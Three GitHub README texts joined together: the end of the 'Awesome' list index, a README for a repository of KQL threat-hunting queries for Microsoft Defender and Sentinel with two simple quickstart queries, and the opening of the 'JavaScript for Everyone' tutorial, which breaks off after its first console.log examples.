- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
- [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources.
- [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities.
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
- [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](http://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
- [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.
|
# KQL Sentinel & Defender queries [](https://twitter.com/intent/tweet?text=KQL%20Threat%20Hunting%20and%20Analytics%20Rules!%20DFE%20and%20Sentinel!&url=https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules)
```
██ ██ ██████ ██
██ ██ ██ ██ ██
█████ ██ ██ ██
██ ██ ██ ▄▄ ██ ██
██ ██ ██████ ███████
▀▀
█ ██████ ██████ ██ ███ ██ ████████ ██ ██ ██ ███████ ██ ██████ ██████ ███ ███ ███████ ██
█ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ████ ██
█ ██████ ██████ ██ ██ ██ ██ ██ ██ █ ██ █████ ██ ██ ██ ██ ██ ████ ██ █████
█ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█ ██ ██ ██ ██ ██ ████ ██ ███ ███ ███████ ███████ ██████ ██████ ██ ██ ███████
```
# KQL for Defender For Endpoint & Microsoft Sentinel
The purpose of this repository is to share KQL queries that can be used by anyone and are understandable. These queries are intended to increase detection coverage through the logs of Microsoft Security products. Not all suspicious activities generate an alert by default, but many of those activities can be made detectable through the logs. These queries include Detection Rules, Hunting Queries and Visualisations. Anyone is free to use the queries. If you have any questions feel free to reach out to me on twitter [@BertJanCyber](https://twitter.com/BertJanCyber).
**Presenting this material as your own is illegal and forbidden. A reference to Twitter [@BertJanCyber](https://twitter.com/BertJanCyber) or Github [@Bert-JanP](https://github.com/Bert-JanP) is much appriciated when sharing or using the content.**
# KQL Categories
The queries in this repository are split into different categories. The MITRE ATT&CK category contains a list of queries mapped to the tactics of the MITRE Framwork. The product section contains queries specific to Microsoft security products. The Processes section contains several queries that can be used in common cyber processes to make things easier for security analysts. In addition, there is a special category for Zero Day detections. Lastly, there is an informational section that explains the use of KQL using examples.
## MITRE ATT&CK
- [MITRE ATT&CK Mapping](./MITRE%20ATT%26CK/Mapping.md)
## Products
- [Defender For Endpoint detection rules](./Defender%20For%20Endpoint)
- [Defender For Identity detection rules](./Defender%20For%20Identity)
- [Defender For Cloud Apps detection rules](./Defender%20For%20Cloud%20Apps)
- [Defender For Office 365](./Office%20365)
- [Azure Active Directory](./Azure%20Active%20Directory)
- [Microsoft Sentinel](./Sentinel)
- [MISP](./MISP)
## Security Processes
- [Digital Forensics and Incident Response](./DFIR)
- [Threat Hunting](./Threat%20Hunting)
- [Full Threat Hunting Cases](./Threat%20Hunting%20Cases)
- [Vulnerability Management](./Vulnerability%20Management)
## Zero Day Detections
- [Zero Day Detection](./Zero%20Day%20Detection)
## Informational
- [KQL helful functions](./Functions/)
- [KQL Regex Example List](./KQL%20Regex/RegexExamples.md)
# Where to use KQL in Defender For Endpoint & Sentinel?
## Defender For Endpoint
* Open [security.microsoft.com](https://www.security.microsoft.com)
* Hunting
* Advanced Hunting
## Sentinel
* Open [portal.azure.com](https://www.portal.azure.com)
* Search for Sentinel
* Open Sentinel
* Logs
# KQL Defender For Endpoint vs Sentinel
KQL queries can be used in both Defender For Endpoint and Azure Sentinel. The syntax is almost the same. The main difference is the field that indicates the time. It must be adjusted according to the product used. In Sentinel, the 'TimeGenerated' field is used. In DFE it is 'Timestamp'. The queries below show both in DFE and in Azure Sentinel 10 DeviceEvents of the last 7 days.
Quickstart Defender For Endpoint
```
DeviceEvents
| where Timestamp > ago(7d)
| take 10
```
Quickstart Azure Sentinel
```
DeviceEvents
| where TimeGenerated > ago(7d)
| take 10
```
# KQL Useful Documentation
* [KQL Quick Reference Guide](https://docs.microsoft.com/en-us/azure/data-explorer/kql-quick-reference)
* [KQL Tutorial](https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/tutorial?pivots=azuredataexplorer)
* [KQL Cheat Sheet PDF](https://github.com/marcusbakker/KQL/blob/master/kql_cheat_sheet.pdf)
|
<div align="center">
<h1> JavaScript for Everyone</h1>
<a class="header-badge" target="_blank" href="https://www.linkedin.com/in/asabeneh/">
<img src="https://img.shields.io/badge/style--5eba00.svg?label=LinkedIn&logo=linkedin&style=social">
</a>
<a class="header-badge" target="_blank" href="https://twitter.com/Asabeneh">
<img alt="Twitter Follow" src="https://img.shields.io/twitter/follow/asabeneh?style=social">
</a>
<sub>Author:
<a href="https://www.linkedin.com/in/asabeneh/" target="_blank">Asabeneh Yetayeh</a><br>
<small> January, 2018</small>
</sub>
</div>
<div>
<small>Support the **author** to create more educational materials</small>
<a href = "https://www.paypal.me/asabeneh"><img src='./images/paypal_lg.png' alt='Paypal Logo' style="width:10%"/></a>
</div>
- [Introduction](#introduction)
- [Setup](#setup)
- [Requirements](#requirements)
- [Setup](#setup-1)
- [Install Node.js](#install-nodejs)
- [Browser](#browser)
- [Installing Google Chrome](#installing-google-chrome)
- [Opening Google Chrome Console](#opening-google-chrome-console)
- [Writing Code on browser Console](#writing-code-on-browser-console)
- [Console.log](#consolelog)
- [Console.log with multiple arguments](#consolelog-with-multiple-arguments)
- [Comment](#comment)
- [Syntax](#syntax)
- [Arithmetics](#arithmetics)
- [Code Editor](#code-editor)
- [Installing Visual Studio Code](#installing-visual-studio-code)
- [How to use visual studio code](#how-to-use-visual-studio-code)
- [Adding JavaScript to a web page](#adding-javascript-to-a-web-page)
- [Inline Script](#inline-script)
- [Internal script](#internal-script)
- [External script](#external-script)
- [Exercises:Setting Up your machine](#exercisessetting-up-your-machine)
- [Variables](#variables)
- [Exercise - 1 : Variables](#exercise---1--variables)
- [Comments](#comments)
- [Exercise: Comments](#exercise-comments)
- [Data types](#data-types)
- [Primitive Data Types](#primitive-data-types)
- [Non-Primitive Data Types](#non-primitive-data-types)
- [Numbers](#numbers)
- [Declaring number data types](#declaring-number-data-types)
- [Math Object](#math-object)
- [Random number generator](#random-number-generator)
- [Strings](#strings)
- [String Concatenation](#string-concatenation)
- [Concatenating using addition operator](#concatenating-using-addition-operator)
- [Long Literal Strings](#long-literal-strings)
- [Escape Sequences in string](#escape-sequences-in-string)
- [Template Literals(Template Strings)](#template-literalstemplate-strings)
- [String Methods](#string-methods)
- [Checking Data types and Casting](#checking-data-types-and-casting)
- [Checking data types](#checking-data-types)
- [Changing data type(Casting)](#changing-data-typecasting)
- [String to Int](#string-to-int)
- [String to Float](#string-to-float)
- [Float to Int](#float-to-int)
- [Exercises: Data Types](#exercises-data-types)
- [Exercise: String](#exercise-string)
- [Booleans](#booleans)
- [Exercise: Booleans](#exercise-booleans)
- [Undefined](#undefined)
- [Null](#null)
- [Exercise - 6 : Data types](#exercise---6--data-types)
- [Operators](#operators)
- [Arithmetic Operators](#arithmetic-operators)
- [Exercises : Arithmetic Operators](#exercises--arithmetic-operators)
- [Logical Operators](#logical-operators)
- [Exercises: Logical Operators](#exercises-logical-operators)
- [Comparison Operators](#comparison-operators)
- [Exercise: Comparison Operators](#exercise-comparison-operators)
- [Conditionals](#conditionals)
- [if](#if)
- [if else](#if-else)
- [if else if else](#if-else-if-else)
- [switch](#switch)
- [Ternary Operators](#ternary-operators)
- [Exercise: Conditionals](#exercise-conditionals)
- [While loop](#while-loop)
- [Do while loop](#do-while-loop)
- [Exercises:Loops](#exercisesloops)
- [Arrays](#arrays)
- [Exercise : Arrays](#exercise--arrays)
- [More on Arrays](#more-on-arrays)
- [Exercise -10 : Array Methods](#exercise--10--array-methods)
- [Functions](#functions)
- [Function Declaration](#function-declaration)
- [Function Expression](#function-expression)
- [Anonymous Function](#anonymous-function)
- [Arrow Function](#arrow-function)
- [Arrow Function vs Declaration Function](#arrow-function-vs-declaration-function)
- [Exercise - 10 : Functions](#exercise---10--functions)
- [Object](#object)
- [Object Methods](#object-methods)
- [Date Object](#date-object)
- [Exercises: Date Object](#exercises-date-object)
- [Exercises:Objects](#exercisesobjects)
- [JSON](#json)
- [Converting JSON to JavaScript Object](#converting-json-to-javascript-object)
- [JSON.parse()](#jsonparse)
- [Using a reviver function with JSON.parse()](#using-a-reviver-function-with-jsonparse)
- [Converting Object to JSON](#converting-object-to-json)
- [Using a Filter Array with JSON.stringify](#using-a-filter-array-with-jsonstringify)
- [Exercises](#exercises)
- [Exercises Level 1](#exercises-level-1)
- [Exercises Level 2](#exercises-level-2)
- [Higher Order Function](#higher-order-function)
- [Callback](#callback)
- [Returning function](#returning-function)
- [setting time](#setting-time)
- [setInterval](#setinterval)
- [setTimeout](#settimeout)
- [Exercises Level 3](#exercises-level-3)
- [Functional Programming](#functional-programming)
- [Exercises](#exercises-1)
- [Destructuring and Spread](#destructuring-and-spread)
- [Destructing Arrays](#destructing--arrays)
- [Destructuring Object](#destructuring-object)
- [Renaming during structuring](#renaming-during-structuring)
- [Spread or Rest Operator](#spread-or-rest-operator)
- [Exercise: Destructuring](#exercise-destructuring)
- [Map and Set](#map-and-set)
- [Set](#set)
- [Creating a set](#creating-a-set)
- [Adding an element to a set](#adding-an-element-to-a-set)
- [Deleting an element a set](#deleting-an-element-a-set)
- [Checking an element in the set](#checking-an-element-in-the-set)
- [Clearing the set](#clearing-the-set)
- [Set](#set-1)
- [Creating an empty set](#creating-an-empty-set)
- [Creating set from array](#creating-set-from-array)
- [Adding an element to a set](#adding-an-element-to-a-set-1)
- [Deleting an element a set](#deleting-an-element-a-set-1)
- [Checking an element in the set](#checking-an-element-in-the-set-1)
- [Clearing the set](#clearing-the-set-1)
- [Union of sets](#union-of-sets)
- [Intersection of sets](#intersection-of-sets)
- [Difference of sets](#difference-of-sets)
- [Map](#map)
- [Creating an empty Map](#creating-an-empty-map)
- [Creating an Map from array](#creating-an-map-from-array)
- [Adding values to the Map](#adding-values-to-the-map)
- [Getting a value from Map](#getting-a-value-from-map)
- [Checking key in Map](#checking-key-in-map)
- [Exercises: Set and Map](#exercises-set-and-map)
- [Exercises:Level 1](#exerciseslevel-1)
- [Exercises:Level 2](#exerciseslevel-2)
- [Exercises:Level 3](#exerciseslevel-3)
- [Document Object Model (DOM)](#document-object-model-dom)
- [Getting Element](#getting-element)
- [Getting elements by tag name](#getting-elements-by-tag-name)
- [Getting elements by class name](#getting-elements-by-class-name)
- [Getting an element by id](#getting-an-element-by-id)
- [Getting elements by using querySelector using tag, class and id:](#getting-elements-by-using-queryselector-using-tag-class-and-id)
- [Adding attribute](#adding-attribute)
- [Adding attribute using setAttribute](#adding-attribute-using-setattribute)
- [Adding attribute without setAttribute](#adding-attribute-without-setattribute)
- [Adding class using classList](#adding-class-using-classlist)
- [Adding Text content](#adding-text-content)
- [Adding style](#adding-style)
- [Creating an Element](#creating-an-element)
- [Creating elements](#creating-elements)
- [Appending to a parent element](#appending-to-a-parent-element)
- [Event Listeners](#event-listeners)
- [Getting value from an input element](#getting-value-from-an-input-element)
- [Exercises:Document Object Model](#exercisesdocument-object-model)
- [DOM: Mini Projects](#dom-mini-projects)
- [Classes](#classes)
- [Defining a classes](#defining-a-classes)
- [Class Instantiation](#class-instantiation)
- [Class Constructor](#class-constructor)
- [Default values with constructor](#default-values-with-constructor)
- [Class methods](#class-methods)
- [Properties with initial value](#properties-with-initial-value)
- [getter](#getter)
- [setter](#setter)
- [Static method](#static-method)
- [Inheritance](#inheritance)
- [Overriding methods](#overriding-methods)
- [Exercises](#exercises-2)
- [Exercises Level 1](#exercises-level-1-1)
- [Exercises Level 2](#exercises-level-2-1)
- [Exercises Level 3](#exercises-level-3-1)
- [Regular Expressions](#regular-expressions)
- [RegEx parameters](#regex-parameters)
- [Pattern](#pattern)
- [Flags](#flags)
- [Creating a pattern with RegEx Constructor](#creating-a-pattern-with-regex-constructor)
- [Creating a pattern without RegEx Constructor](#creating-a-pattern-without-regex-constructor)
- [RegExp Object Methods](#regexp-object-methods)
- [Testing for a match](#testing-for--a-match)
- [Array containing all of the match](#array-containing-all-of-the-match)
- [Replacing a substring](#replacing-a-substring)
- [Square Bracket](#square-bracket)
- [Escape character(\\) in RegEx](#escape-character-in-regex)
- [One or more times(+)](#one-or-more-times)
- [Period(.)](#period)
- [Zero or more times(*)](#zero-or-more-times)
- [Zero or one times(?)](#zero-or-one-times)
- [Quantifier in RegEx](#quantifier-in-regex)
- [Cart ^](#cart-)
- [Exact match](#exact-match)
- [💻 Exercises](#-exercises)
- [Exercises: Level 1](#exercises-level-1-2)
- [Exercises: Level 2](#exercises-level-2-2)
- [Exercises: Level 3](#exercises-level-3-2)
- [Async and Await](#async-and-await)
- [localStorage](#localstorage)
- [Setting item to the localStorage](#setting-item-to-the-localstorage)
- [Getting item from localStorage](#getting-item-from-localstorage)
- [Clearing the localStorage](#clearing-the-localstorage)
- [Exercises:Local Storage](#exerciseslocal-storage)
- [Cookies](#cookies)
- [Exercises:Cookies](#exercisescookies)
- [JavaScript Interview Questions](#javascript-interview-questions)
- [JavaScript Tests](#javascript-tests)
- [JavaScript Test 1](#javascript-test-1)
- [JavaScript Test 2](#javascript-test-2)
- [JavaScript Test 3](#javascript-test-3)
## Introduction
**_JavaScript for Everyone_** is a guide for both beginners and advanced JavaScript developers. Welcome to JavaScript. **_Congratulations_** for deciding to learn JavaScript, the language of the browser.
In this step by step tutorial, you will learn JavaScript, the most popular programming language in the history of mankind.
You use JavaScript **_to add interactivity to websites, to develop mobile apps, desktop applications, games_** and nowadays JavaScript can be used for **_machine learning_** and **_AI_**.
**_JavaScript (JS)_** has increased in popularity in recent years and has been the leading
programming language for four consecutive years and is the most used programming language on
Github.
## Setup
First thing first, lets install text or code editor. Install code editor, it could be [vscode](https://code.visualstudio.com/), [atom](https://atom.io/), [bracket](http://brackets.io/), [notepad++](https://notepad-plus-plus.org/) or others. I recommend vscode.
Install either [Chrome](https://www.google.com/chrome/) or [Firefox](https://www.mozilla.org/en-US/firefox/new/?v=b) if you didn't have yet.
If you want help, you may join the [telegram](https://t.me/JavaScriptforEveryone) channel.
## Requirements
No prior knowledge of programming is required to follow this guide. You need only:
1. Motivation
2. Computer
3. Internet
4. Browser
5. Code Editor
## Setup
I believe you have the motivation and a strong desire to be a developer, computer and Internet. If you have those, then you have everything.
### Install Node.js
You may not need it right now but you may need it for later. Install [node.js](https://nodejs.org/en/).
After downloading double click and install
We can check if node is installed in our local machine by opening our device terminal or command prompt.
```sh
asabeneh $ node -v
v12.14.0
```
I am using node version 12.14.0, which is the recommended version of node.
### Browser
There are many browsers out there. However, I strongly recommend Google Chrome.
#### Installing Google Chrome
Install [google chrome](https://www.google.com/chrome/) if you do not have one yet. We can write small JavaScript code on the browser console, but we do not use the browser console to develop applications.
#### Opening Google Chrome Console
You can open Google Chrome either by clicking three dots at the top right corner of the Chrome browser or using a shortcut. I prefer using shortcuts.
To open the Chrome console using a short cut.
```sh
Mac
Command+Option+I
Windows:
Ctl+Shift+I
```
After you open the Google Chrome console, try to explore the marked buttons. We will spend most of the time on the Console part. The Console is the place where your JavaScript code goes. The Google Console V8 engine changes your JavaScript code to machine code.
Let us write a JavaScript code on the Google Chrome console:
#### Writing Code on browser Console
We can write any JavaScript code on the Google console or any browser console. However, for this challenge, we only focus on Google Chrome console. Open the console using:
```sh
Mac
Command+Option+I
Windows:
Ctl+Shift+I
```
##### Console.log
To write our first JavaScript code, we used a builtin function **console.log()**. We passed an argument as input data, and the function displays the output. We passed 'Hello, World' as input data or argument in the console.log() function.
```js
console.log('Hello, World!')
```
##### Console.log with multiple arguments
The console.log(param1, param2, param3), can take multiple arguments.
```js
console.log('Hello', 'World', '!')
console.log('HAPPY', 'NEW', 'YEAR', 2020)
console.log('Welcome', 'to', 30, 'Days', 'Of', 'JavaScript')
```
As you can see from the above snippet code, *console.log()* can take multiple arguments.
Congratulations! You wrote your first JavaScript code using *console.log()*.
##### Comment
We add comments to our code. Comments are very important to make code more readable and to leave remarks in our code. JavaScript does not execute the comment part of our code. Any text starts with // in JavaScript is a comment or anything enclose like this /* */ is a comment.
**Example: Single Line Comment**
// This is the first comment
// This is the second comment
// I am a single line comment
**Example: Multiline Comment**
/*
This is a multiline comment
Multiline comments can take multiple lines
JavaScript is the language of the web
*/
##### Syntax
JavaScript is a programming language. As a result, it has its syntax like other programming languages. If we do not write a syntax that JavaScript understands, it will raise different types of errors. We will explore different kinds of JavaScript errors later. For now, let us see syntax errors.
I made a deliberate mistake. As a result, the console raises a syntax error. Actually, the syntax is very informative. It informs what type of mistake we made. By reading the error feedback guideline, we can correct the syntax and fix the problem. The process of identifying and removing errors from a program is called debugging. Let us fix the errors:
```js
